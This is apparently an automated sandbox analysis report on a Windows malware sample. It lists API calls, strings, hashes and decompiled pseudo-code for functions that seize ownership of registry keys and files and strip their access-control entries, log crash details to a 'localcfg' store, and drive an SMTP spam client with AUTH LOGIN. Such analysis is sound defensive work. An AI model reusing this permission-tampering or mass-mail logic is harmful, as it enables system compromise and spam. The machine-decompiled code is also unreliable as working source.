0x00407c19
0x00407c1b
0x00407c4f
0x00407c4f
0x00407c52
0x00407c57
0x00407c5e
0x00407c5e
0x00407c5e
0x00407c66
0x00407c6c
0x00407c6f
0x00407c71
0x00407c86
0x00407c73
0x00407c78
0x00407c7f
0x00407c7f
0x00407c8b
0x00407c8e
0x00407c90
0x00407c93
0x00407c96
0x00407c96
0x00407c9d
0x00407c9f
0x00407ca7
0x00407ca7
0x00407ca9
0x00407cac
0x00407cb2
0x00407cb2
0x00407cb5
0x00407cc3
0x00000000
0x00407ca1
0x00407ca1
0x00407ca5
0x00000000
0x00000000
0x00000000
0x00407ca5
0x00000000
0x00000000
0x00000000
0x00407c1d
0x00407c1d
0x00407c27
0x00407c2d
0x00407c2f
0x00000000
0x00000000
0x00407c31
0x00407c32
0x00407c34
0x00000000
0x00000000
0x00000000
0x00407c34
0x00407c36
0x00407c38
0x00000000
0x00000000
0x00407c40
0x00407c46
0x00407cc9
0x00407cc9
0x00407cd0
0x00407cd0
0x00407cd9
0x00407cdc
0x00000000
0x00000000
0x00407ce2
0x00407ce8
0x00407d5a
0x00407d61
0x00407d6a
0x00407d6c
0x00407d6e
0x00407d72
0x00407d78
0x00407d7a
0x00407d82
0x00407d88
0x00407d8a
0x00407d92
0x00407d98
0x00407d9a
0x00407d9c
0x00407d9c
0x00407d9a
0x00407d8a
0x00407da0
0x00407da0
0x00000000
0x00407d6e
0x00407cea
0x00407cf0
0x00000000
0x00000000
0x00407cff
0x00407d05
0x00407d0b
0x00407d0d
0x00000000
0x00000000
0x00407d14
0x00407d16
0x00407d16
0x00407d19
0x00407d19
0x00407d1b
0x00407d1c
0x00407d1c
0x00407d4a
0x00407d50
0x00407d52
0x00407d54
0x00407d54
0x00000000
0x00407d52
0x00407b6a
0x00407b70
0x00407b72
0x00000000
0x00000000
0x00407b7b
0x00407b84
0x00407b86
0x00407b88
0x00407b8c
0x00407b92
0x00407b94
0x00407b9c
0x00407ba2
0x00407ba4
0x00407bab
0x00407bab
0x00407ba4
0x00407bb2
0x00407bb2
0x00000000
0x00407b88

APIs

RegOpenKeyExA.ADVAPI32(000000E4,00000022,00000000,000E0100,00000000,00000000), ref: 00407ABA
GetUserNameA.ADVAPI32(?,?), ref: 00407ADF
LookupAccountNameA.ADVAPI32(00000000,?,?,0041070C,?,004133B0,?), ref: 00407B16
RegGetKeySecurity.ADVAPI32(00000000,00000005,?,?), ref: 00407B3B
GetSecurityDescriptorOwner.ADVAPI32(?,00000022,80000002), ref: 00407B59
EqualSid.ADVAPI32(?,00000022), ref: 00407B6A
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407B7E
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407B8C
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407B9C
RegSetKeySecurity.ADVAPI32(00000000,00000001,00000000), ref: 00407BAB
LocalFree.KERNEL32(00000000), ref: 00407BB2
GetSecurityDescriptorDacl.ADVAPI32(?,00407FC9,?,00000000), ref: 00407BCE

Strings

PromptOnSecureDesktop, xrefs: 00407D39
D, xrefs: 00407B0C

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$LocalNameOwner$AccountAllocDaclEqualFreeInitializeLookupOpenUser
String ID: D$PromptOnSecureDesktop
API String ID: 2976863881-1403908072
Opcode ID: d4f479c9f78d504b8da3df740f472ce51a34dde969fc05e485fb9939b8f25359
Instruction ID: e17c9e5f60e255820364911aa1186e0accab4a2e7248257c6285c946b731c67d
Opcode Fuzzy Hash: d4f479c9f78d504b8da3df740f472ce51a34dde969fc05e485fb9939b8f25359
Instruction Fuzzy Hash: 6FA14D71D04219ABDB119FA0DD44EEF7B78FF48304F04807AE505F2290D779AA85CB69

Uniqueness

Uniqueness Score: -1.00%

Function 006C7CE5, Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 269registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,000E0100,?), ref: 006C7D0A
GetUserNameA.ADVAPI32(?,?), ref: 006C7D2F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 006C7D66
RegGetKeySecurity.ADVAPI32(?,00000005,?,?), ref: 006C7D8B
GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 006C7DA9
EqualSid.ADVAPI32(?,?), ref: 006C7DBA
LocalAlloc.KERNEL32(00000040,00000014), ref: 006C7DCE
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 006C7DDC
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 006C7DEC
RegSetKeySecurity.ADVAPI32(?,00000001,00000000), ref: 006C7DFB
LocalFree.KERNEL32(00000000), ref: 006C7E02
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 006C7E1E

Strings

PromptOnSecureDesktop, xrefs: 006C7F89
D, xrefs: 006C7D5C

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$LocalNameOwner$AccountAllocDaclEqualFreeInitializeLookupOpenUser
String ID: D$PromptOnSecureDesktop
API String ID: 2976863881-1403908072
Opcode ID: 1a53823342927d1e4650e54f1beed8d9b04cc787a6d03e02cd47dd5285ddf864
Instruction ID: fe080db1c599315100fa4044c6d206332c5603f717a4d85864f921199bc33c20
Opcode Fuzzy Hash: 1a53823342927d1e4650e54f1beed8d9b04cc787a6d03e02cd47dd5285ddf864
Instruction Fuzzy Hash: 92A14C72904209AFDB118FA1DD88FFEBBBAFB48300F04806DE515E6250DB758A85CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00406511, Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00406511(void* __ecx) {
				signed int _t75;
				signed int _t76;
				int _t78;
				void* _t83;
				signed int _t93;
				void* _t95;
				signed int _t99;
				int _t101;
				int _t115;
				int _t117;
				void* _t118;
				void* _t119;
				void* _t120;
				void* _t122;
				intOrPtr _t135;
				intOrPtr* _t137;
				void* _t139;
				void* _t141;
				void* _t143;
				void* _t144;
				void* _t152;

				_t122 = __ecx;
				_t139 = _t141 - 0x74;
				_t75 =  *(_t139 + 0x7c);
				_t135 =  *((intOrPtr*)(_t75 + 4));
				_t76 =  *_t75;
				 *(_t139 + 0x7c) = _t76;
				_t78 = wsprintfA(_t139 - 0x898, "\nver=%d date=%s %s\nc=%08x a=%p", 0x61, "Jan 13 2018", "12:08:32",  *_t76,  *((intOrPtr*)(_t76 + 0xc)));
				_t143 = _t141 - 0x90c + 0x1c;
				_t117 = _t78;
				if(IsBadReadPtr( *( *(_t139 + 0x7c) + 0xc), 8) != 0) {
					E0040E318();
					ExitProcess(0);
				}
				_t83 =  *( *(_t139 + 0x7c) + 0xc);
				__imp__#8( *((intOrPtr*)(_t83 + 4)), E00406511);
				__imp__#8();
				_t118 = _t117 + wsprintfA(_t139 + _t117 - 0x898, " va=%08X%08X uef=%p",  *( *(_t139 + 0x7c) + 0xc),  *( *( *(_t139 + 0x7c) + 0xc)), _t83);
				_t119 = _t118 + wsprintfA(_t139 + _t118 - 0x898, "\n_ax=%p\t_bx=%p\t_cx=%p\t_dx=%p\t_si=%p\t_di=%p\t_bp=%p\t_sp=%p\n",  *((intOrPtr*)(_t135 + 0xb0)),  *((intOrPtr*)(_t135 + 0xa4)),  *((intOrPtr*)(_t135 + 0xac)),  *((intOrPtr*)(_t135 + 0xa8)),  *((intOrPtr*)(_t135 + 0xa0)),  *((intOrPtr*)(_t135 + 0x9c)),  *((intOrPtr*)(_t135 + 0xb4)),  *((intOrPtr*)(_t135 + 0xc4)));
				E0040EE2A(_t122, _t139 - 0x98, 0, 0x108);
				_t144 = _t143 + 0x48;
				 *((intOrPtr*)(_t139 - 0x98)) =  *((intOrPtr*)(_t135 + 0xb8));
				_t93 = 3;
				_push(0);
				_push(0);
				 *(_t139 - 0x8c) = _t93;
				 *((intOrPtr*)(_t139 - 0x94)) = 0;
				_push(0);
				 *(_t139 - 0x5c) = _t93;
				_push(0);
				 *((intOrPtr*)(_t139 - 0x68)) =  *((intOrPtr*)(_t135 + 0xc4));
				 *((intOrPtr*)(_t139 - 0x64)) = 0;
				_t130 =  *((intOrPtr*)(_t135 + 0xb4));
				 *(_t139 - 0x6c) = _t93;
				 *(_t139 + 0x7c) = _t93;
				_push(_t135);
				_push(_t139 - 0x98);
				 *((intOrPtr*)(_t139 - 0x78)) =  *((intOrPtr*)(_t135 + 0xb4));
				 *((intOrPtr*)(_t139 - 0x74)) = 0;
				_push(0);
				while(1) {
					_t95 = GetCurrentProcess();
					__imp__StackWalk64(0x14c, _t95);
					if(_t95 == 0) {
						break;
					}
					_t95 = 0;
					if( *(_t139 + 0x7c) != 0) {
						if( *((intOrPtr*)(_t139 - 0x88)) != 0) {
							_t115 = wsprintfA(_t139 + _t119 - 0x898, "ret=%p\tp1=%p\tp2=%p\tp3=%p\tp4=%p\n",  *((intOrPtr*)(_t139 - 0x88)),  *((intOrPtr*)(_t139 - 0x40)),  *((intOrPtr*)(_t139 - 0x38)),  *((intOrPtr*)(_t139 - 0x30)),  *((intOrPtr*)(_t139 - 0x28)));
							_t144 = _t144 + 0x1c;
							_t119 = _t119 + _t115;
							_t95 = 0;
						}
						 *(_t139 + 0x7c) =  *(_t139 + 0x7c) - 1;
						_push(_t95);
						_push(_t95);
						_push(_t95);
						_push(_t95);
						_push(_t135);
						_push(_t139 - 0x98);
						_push(_t95);
						continue;
					}
					break;
				}
				 *(_t139 + 0x7c) = _t95;
				_t120 = _t119 + wsprintfA(_t139 + _t119 - 0x898, "plgs:");
				 *(_t139 + 0x70) =  *(_t139 + 0x70) & 0x00000000;
				do {
					_t137 = 0x412c40 +  *(_t139 + 0x70) * 4;
					if( *_t137 != 0) {
						_t99 =  *(_t139 + 0x7c) & 0x80000007;
						if(_t99 < 0) {
							_t152 = (_t99 - 0x00000001 | 0xfffffff8) + 1;
						}
						if(_t152 == 0) {
							_t120 = _t120 + wsprintfA(_t139 + _t120 - 0x898, "\n");
						}
						_t101 = wsprintfA(_t139 + _t120 - 0x898, "\t%d=%p",  *(_t139 + 0x70),  *_t137);
						_t144 = _t144 + 0x10;
						_t120 = _t120 + _t101;
						 *(_t139 + 0x7c) =  *(_t139 + 0x7c) + 1;
					}
					 *(_t139 + 0x70) =  *(_t139 + 0x70) + 1;
				} while ( *(_t139 + 0x70) < 0x20);
				wsprintfA(_t139 + _t120 - 0x898, "\n");
				E0040E8A1(_t130, 1, "localcfg", "except_info", _t139 - 0x898);
				E0040E318();
				return 1;
			}

0x00406511
0x00406512
0x0040651c
0x00406521
0x00406524
0x00406532
0x0040654d
0x0040654f
0x00406552
0x00406564
0x0040674e
0x00406755
0x00406755
0x0040656d
0x00406578
0x00406587
0x004065a3
0x004065e3
0x004065ee
0x004065f9
0x00406600
0x00406606
0x00406607
0x00406608
0x00406609
0x0040660f
0x0040661b
0x0040661c
0x0040661f
0x00406620
0x00406623
0x00406626
0x0040662c
0x0040662f
0x00406632
0x00406639
0x0040663a
0x0040663d
0x00406640
0x0040668a
0x0040668a
0x00406696
0x0040669e
0x00000000
0x00000000
0x00406643
0x00406648
0x00406650
0x00406671
0x00406673
0x00406676
0x00406678
0x00406678
0x0040667a
0x0040667d
0x0040667e
0x0040667f
0x00406680
0x00406681
0x00406688
0x00406689
0x00000000
0x00406689
0x00000000
0x00406648
0x004066a0
0x004066b3
0x004066b5
0x004066ba
0x004066bd
0x004066c7
0x004066cc
0x004066d1
0x004066d7
0x004066d7
0x004066d8
0x004066eb
0x004066eb
0x004066ff
0x00406701
0x00406704
0x00406706
0x00406706
0x00406709
0x0040670c
0x0040671f
0x00406734
0x0040673c
0x0040674b

APIs

wsprintfA.USER32 ref: 0040654D
IsBadReadPtr.KERNEL32(?,00000008), ref: 0040655C
htonl.WS2_32(?), ref: 00406578
htonl.WS2_32(?), ref: 00406587
wsprintfA.USER32 ref: 0040659B
wsprintfA.USER32 ref: 004065DC
wsprintfA.USER32 ref: 00406671
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000), ref: 0040668A
StackWalk64.DBGHELP(0000014C,00000000), ref: 00406696
wsprintfA.USER32 ref: 004066B0
wsprintfA.USER32 ref: 004066E7
wsprintfA.USER32 ref: 004066FF
wsprintfA.USER32 ref: 0040671F
ExitProcess.KERNEL32 ref: 00406755

Strings

except_info, xrefs: 00406728
12:08:32, xrefs: 00406535
va=%08X%08X uef=%p, xrefs: 00406595
localcfg, xrefs: 0040672D
plgs:, xrefs: 004066AA
ret=%pp1=%pp2=%pp3=%pp4=%p, xrefs: 0040666B
Jan 13 2018, xrefs: 0040653A
ver=%d date=%s %sc=%08x a=%p, xrefs: 00406547
%d=%p, xrefs: 004066F9
_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p, xrefs: 004065D6

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: wsprintf$Processhtonl$CurrentExitReadStackWalk64
String ID: %d=%p$_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p$ver=%d date=%s %sc=%08x a=%p$ va=%08X%08X uef=%p$12:08:32$Jan 13 2018$except_info$localcfg$plgs:$ret=%pp1=%pp2=%pp3=%pp4=%p
API String ID: 2400214276-165278494
Opcode ID: fbd2438e5a8d786474603689893f321f2aaf39c813a77a2b8649c1733411c7dd
Instruction ID: d0bbb1ce902d37c6012dbda67fcae0275dd4f0eb650f6cdd038f268f1af807dd
Opcode Fuzzy Hash: fbd2438e5a8d786474603689893f321f2aaf39c813a77a2b8649c1733411c7dd
Instruction Fuzzy Hash: FC615F72940208EFDB609FB4DC45FEA77E9FF08300F24846AF95DD2161DA7599908F58

Uniqueness

Uniqueness Score: -1.00%

Function 0040A7C1, Relevance: 38.8, APIs: 8, Strings: 14, Instructions: 299
networkstringCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E0040A7C1(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, CHAR* _a16) {
				short _v129;
				char _v132;
				char _v1156;
				signed int _t59;
				int _t60;
				void* _t61;
				char* _t62;
				void* _t63;
				void* _t65;
				void* _t82;
				void* _t96;
				intOrPtr _t102;
				char _t103;
				void* _t104;
				int _t121;
				intOrPtr _t123;
				void* _t124;
				CHAR* _t125;
				intOrPtr* _t126;
				intOrPtr* _t127;
				void* _t129;
				void* _t130;
				void* _t131;

				_t102 = _a8;
				_t2 = _t102 - 1; // 0x0
				_t59 = _t2;
				_t125 =  &_v132;
				if(_t59 > 0xb) {
					L21:
					_t60 = lstrlenA(_t125);
					_t121 = _t60;
					_t126 = __imp__#19;
					_t61 =  *_t126(_a4, _t125, _t121, 0);
					if(_t61 == _t121) {
						if(_t102 != 6) {
							L28:
							_t127 = __imp__#16;
							_t103 = 0;
							_push(0);
							_v1156 = 0;
							_v132 = 0;
							_push(0x3f6);
							_t62 =  &_v1156;
							while(1) {
								_t63 =  *_t127(_a4, _t62);
								if(_t63 <= 0) {
									break;
								}
								_t103 = _t103 + _t63;
								if(_t103 > 0x1f4) {
									wsprintfA(_a16, "Too big smtp respons (%d bytes)\n", _t103);
									_push(6);
									L72:
									_pop(_t65);
									return _t65;
								}
								 *((char*)(_t130 + _t103 - 0x480)) = 0;
								if(_v132 != 0) {
									L33:
									if(E0040EE95( &_v1156,  &_v132) != 0) {
										break;
									}
									L34:
									_push(0);
									_push(0x3f6 - _t103);
									_t62 = _t130 + _t103 - 0x480;
									continue;
								}
								if(_t103 <= 3) {
									goto L34;
								}
								E0040EE08( &_v132,  &_v1156, 4);
								_t131 = _t131 + 0xc;
								_v129 = 0x20;
								if(_v132 == 0) {
									goto L34;
								}
								goto L33;
							}
							_t123 = _a8;
							if(_t123 == 7) {
								L23:
								_push(2);
								goto L72;
							}
							if(_t103 <= 5) {
								E0040EF00(_a16, "Too small respons\n");
							} else {
								E0040EE08(_a16,  &_v1156, 0x76);
								_t131 = _t131 + 0xc;
								_a16[0x76] = 0;
							}
							if(_t103 < 5 ||  *((char*)(_t130 + _t103 - 0x481)) != 0xa) {
								E0040EF00(_a16, "Incorrect respons");
								_push(7);
							} else {
								_t104 = E0040EDAC( &_v1156);
								if(_t104 == 0xdc || _t104 == 0xfa || _t104 == 0x162 || _t104 == 0xdd || _t104 == 0x14e || _t104 == 0xeb) {
									_t129 = 1;
									 *0x413668 = E0040EE95( &_v1156, "ESMTP") & 0xffffff00 | _t74 != 0x00000000;
									_t123 = 1;
								} else {
									_t129 = 0;
								}
								if(_t123 != 0xc || _t104 != 0x217) {
									if(_t129 != 0) {
										goto L23;
									}
									_t76 =  *0x413630;
									if( *0x413630 == 0 ||  *0x413634 == _t129 ||  *0x413638 == _t129) {
										L70:
										_push(0xb);
									} else {
										if(_t123 != 4 || E0040A699( &_v1156, _t76) == 0) {
											if(E0040A699( &_v1156,  *0x413634) == 0) {
												if(E0040A699( &_v1156,  *0x413638) == 0) {
													if(_t123 == 3 || _t123 == 4 || _t123 == 5 || _t123 == 6) {
														_t82 = E0040E819(1, "localcfg", "ip", E004030B5());
														_push( &_v132);
														if(E0040EE95( &_v1156, E0040A7A3(_t82, _t82)) != 0) {
															goto L62;
														}
													}
													goto L70;
												}
												_push(0xa);
												goto L72;
											}
											L62:
											_push(9);
										} else {
											_push(8);
										}
									}
								} else {
									_push(0xf);
								}
							}
							goto L72;
						}
						_t124 = 5;
						_t96 =  *_t126(_a4, "\r\n.\r\n", _t124, 0);
						if(_t96 == _t124) {
							goto L28;
						}
						wsprintfA(_a16, "Error sending command (sent = %d/%d)\n", _t96, _t124);
						return _t124;
					}
					if(_t102 != 7) {
						wsprintfA(_a16, "Error sending command (sent = %d/%d)\n", _t61, _t121);
						_push(5);
						goto L72;
					}
					goto L23;
				}
				switch( *((intOrPtr*)(_t59 * 4 +  &M0040AB51))) {
					case 0:
						goto L28;
					case 1:
						_push(_a12);
						_t100 =  &_v132;
						if( *0x413668 == 0) {
							_push("helo %s\r\n");
						} else {
							_push("ehlo %s\r\n");
						}
						goto L4;
					case 2:
						_push(_a12);
						_push("mail from:<%s>\r\n");
						goto L14;
					case 3:
						_push(_a12);
						_push("rcpt to:<%s>\r\n");
						L14:
						__eax =  &_v132;
						L4:
						wsprintfA(_t100, ??);
						goto L20;
					case 4:
						_push(7);
						_push("data\r\n");
						goto L19;
					case 5:
						goto L21;
					case 6:
						_push(7);
						_push("quit\r\n");
						goto L19;
					case 7:
						goto L21;
					case 8:
						_push(0xd);
						_push("AUTH LOGIN\r\n");
						L19:
						__eax =  &_v132;
						_push( &_v132);
						__eax = E0040EE08();
						goto L20;
					case 9:
						__eax = _a12;
						_t9 = __eax + 1; // 0x1
						__edx = _t9;
						do {
							__cl =  *__eax;
							__eax = __eax + 1;
						} while (__cl != 0);
						goto L9;
					case 0xa:
						__eax = _a12;
						_t15 = __eax + 1; // 0x1
						__edx = _t15;
						do {
							__cl =  *__eax;
							__eax = __eax + 1;
						} while (__cl != 0);
						L9:
						__eax = __eax - __edx;
						 *((char*)(__ebp + __eax - 0x80)) = 0;
						L20:
						_t131 = _t131 + 0xc;
						goto L21;
				}
			}

0x0040a7cb
0x0040a7cf
0x0040a7cf
0x0040a7d3
0x0040a7d9
0x0040a87d
0x0040a87e
0x0040a886
0x0040a88d
0x0040a893
0x0040a897
0x0040a8c2
0x0040a8f2
0x0040a8f2
0x0040a8f8
0x0040a8fa
0x0040a900
0x0040a906
0x0040a909
0x0040a90a
0x0040a978
0x0040a97c
0x0040a980
0x00000000
0x00000000
0x0040a912
0x0040a91a
0x0040a9b9
0x0040a9c2
0x0040ab4a
0x0040ab4a
0x00000000
0x0040ab4a
0x0040a924
0x0040a92c
0x0040a954
0x0040a968
0x00000000
0x00000000
0x0040a96a
0x0040a96e
0x0040a970
0x0040a971
0x00000000
0x0040a971
0x0040a931
0x00000000
0x00000000
0x0040a940
0x0040a945
0x0040a94c
0x0040a952
0x00000000
0x00000000
0x00000000
0x0040a952
0x0040a982
0x0040a988
0x0040a89e
0x0040a89e
0x00000000
0x0040a89e
0x0040a991
0x0040a9d1
0x0040a993
0x0040a99f
0x0040a9a7
0x0040a9aa
0x0040a9aa
0x0040a9db
0x0040ab41
0x0040ab48
0x0040a9ef
0x0040a9fb
0x0040aa04
0x0040aa40
0x0040aa4d
0x0040aa52
0x0040aa2e
0x0040aa2e
0x0040aa2e
0x0040aa57
0x0040aa6a
0x00000000
0x00000000
0x0040aa70
0x0040aa77
0x0040ab35
0x0040ab35
0x0040aa95
0x0040aa98
0x0040aaca
0x0040aae6
0x0040aaef
0x0040ab12
0x0040ab1a
0x0040ab33
0x00000000
0x00000000
0x0040ab33
0x00000000
0x0040aaef
0x0040aae8
0x00000000
0x0040aae8
0x0040aacc
0x0040aacc
0x0040aaad
0x0040aaad
0x0040aaad
0x0040aa98
0x0040aa61
0x0040aa61
0x0040aa61
0x0040aa57
0x00000000
0x0040a9db
0x0040a8c8
0x0040a8d2
0x0040a8d6
0x00000000
0x00000000
0x0040a8e2
0x00000000
0x0040a8eb
0x0040a89c
0x0040a8af
0x0040a8b8
0x00000000
0x0040a8b8
0x00000000
0x0040a89c
0x0040a7df
0x00000000
0x00000000
0x00000000
0x0040a7ed
0x0040a7f0
0x0040a7f3
0x0040a803
0x0040a7f5
0x0040a7f5
0x0040a7f5
0x00000000
0x00000000
0x0040a845
0x0040a848
0x00000000
0x00000000
0x0040a852
0x0040a855
0x0040a84d
0x0040a84d
0x0040a7fa
0x0040a7fb
0x00000000
0x00000000
0x0040a85c
0x0040a85e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a86a
0x0040a86c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a80a
0x0040a80c
0x0040a871
0x0040a871
0x0040a874
0x0040a875
0x00000000
0x00000000
0x0040a813
0x0040a816
0x0040a816
0x0040a819
0x0040a819
0x0040a81b
0x0040a81c
0x00000000
0x00000000
0x0040a836
0x0040a839
0x0040a839
0x0040a83c
0x0040a83c
0x0040a83e
0x0040a83f
0x0040a820
0x0040a824
0x0040a82f
0x0040a87a
0x0040a87a
0x00000000
0x00000000

APIs

wsprintfA.USER32 ref: 0040A7FB
lstrlenA.KERNEL32(?,00000000,00000000,00000001), ref: 0040A87E
send.WS2_32(00000000,?,00000000,00000000), ref: 0040A893
wsprintfA.USER32 ref: 0040A8AF
send.WS2_32(00000000,.,00000005,00000000), ref: 0040A8D2
wsprintfA.USER32 ref: 0040A8E2
recv.WS2_32(00000000,?,000003F6,00000000), ref: 0040A97C
wsprintfA.USER32 ref: 0040A9B9

Strings

Too small respons, xrefs: 0040A9C9
., xrefs: 0040A8CA
ESMTP, xrefs: 0040AA38
localcfg, xrefs: 0040AB0B
rcpt to:<%s>, xrefs: 0040A855
ehlo %s, xrefs: 0040A7F5
Incorrect respons, xrefs: 0040AB39
helo %s, xrefs: 0040A803
Error sending command (sent = %d/%d), xrefs: 0040A8A7, 0040A8DA
data, xrefs: 0040A85E
quit, xrefs: 0040A86C
Too big smtp respons (%d bytes), xrefs: 0040A9B1
mail from:<%s>, xrefs: 0040A848
AUTH LOGIN, xrefs: 0040A80C

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: wsprintf$send$lstrlenrecv
String ID: .$AUTH LOGIN$ESMTP$Error sending command (sent = %d/%d)$Incorrect respons$Too big smtp respons (%d bytes)$Too small respons$data$ehlo %s$helo %s$localcfg$mail from:<%s>$quit$rcpt to:<%s>
API String ID: 3650048968-2394369944
Opcode ID: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction ID: cb8b6fe7cbcb8804cc0a5996a8d7cccc3c4edaa2c523fe44b9a5a0cb3107b5a3
Opcode Fuzzy Hash: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction Fuzzy Hash: 34A16872A44305AADF209A54DC85FEF3B79AB00304F244437FA05B61D0DA7D9DA98B5F

Uniqueness

Uniqueness Score: -1.00%

Function 006C7A59, Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226memoryCOMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 006C7A7F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 006C7AB6
GetLengthSid.ADVAPI32(?), ref: 006C7AC8
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 006C7AEA
GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 006C7B08
EqualSid.ADVAPI32(?,?), ref: 006C7B22
LocalAlloc.KERNEL32(00000040,00000014), ref: 006C7B33
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 006C7B41
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 006C7B51
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 006C7B60
LocalFree.KERNEL32(00000000), ref: 006C7B67
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 006C7B83
GetAce.ADVAPI32(?,?,?), ref: 006C7BB3
EqualSid.ADVAPI32(?,?), ref: 006C7BDA
DeleteAce.ADVAPI32(?,?), ref: 006C7BF3
EqualSid.ADVAPI32(?,?), ref: 006C7C15
LocalAlloc.KERNEL32(00000040,00000014), ref: 006C7C9A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 006C7CA8
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 006C7CB9
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 006C7CC9
LocalFree.KERNEL32(00000000), ref: 006C7CD7

Strings

D, xrefs: 006C7AAC

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction ID: 072bf31e914df8386078b5fab75ed811f9209995ec7f48c4bf1f34462fc526c6
Opcode Fuzzy Hash: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction Fuzzy Hash: 82812B71D0421AAFDB21CFA5DD84FEEBBB9EF08340F14806AE505E6250D7759A41CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00408328, Relevance: 35.4, APIs: 18, Strings: 2, Instructions: 361
registryCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00408328(char* __ecx, char __edx) {
				char _v8;
				void* _v12;
				int _v16;
				char _v20;
				intOrPtr _v24;
				int _v28;
				struct _PROCESS_INFORMATION _v44;
				char _v60;
				struct _STARTUPINFOA _v128;
				char _v388;
				char _v427;
				char _v428;
				char _t88;
				char _t89;
				void* _t91;
				char _t93;
				int _t102;
				char _t107;
				intOrPtr _t113;
				char _t116;
				void* _t117;
				signed int _t122;
				char _t126;
				void* _t128;
				char* _t130;
				char _t131;
				char* _t133;
				char _t134;
				char* _t137;
				int _t139;
				char _t144;
				char _t146;
				char* _t147;
				char _t149;
				char _t153;
				intOrPtr* _t154;
				char* _t156;
				char* _t159;
				char _t160;
				char _t165;
				void* _t174;
				signed int _t177;
				char _t180;
				char* _t188;
				int _t189;
				long _t193;
				void* _t195;
				void* _t196;
				void* _t198;
				void* _t199;

				_t181 = __edx;
				_t173 = __ecx;
				_v16 = 0;
				if(E00407DD6(__edx) != 0) {
					return 1;
				}
				_t88 = E00406EC3();
				__eflags = _t88;
				if(_t88 != 0) {
					_v8 = 0;
					__eflags =  *0x412c3c; // 0x0
					if(__eflags == 0) {
						goto L37;
					}
					__eflags =  *0x412c38; // 0x0
					if(__eflags == 0) {
						goto L37;
					}
					_t130 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
					_t198 = _t196 + 0x14;
					_t131 = RegOpenKeyExA(0x80000001, _t130, 0, 0x101,  &_v12);
					__eflags = _t131;
					if(_t131 != 0) {
						L31:
						_t133 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
						_t198 = _t198 + 0x14;
						_t134 = RegOpenKeyExA(0x80000001, _t133, 0, 0x103,  &_v12);
						__eflags = _t134;
						if(_t134 != 0) {
							L35:
							E0040EE2A(_t173, 0x4122f8, 0, 0x100);
							_t196 = _t198 + 0xc;
							__eflags = _v8;
							if(_v8 != 0) {
								E0040EC2E(_v8);
							}
							goto L37;
						}
						_t188 =  *0x412c3c; // 0x0
						_t137 = _t188;
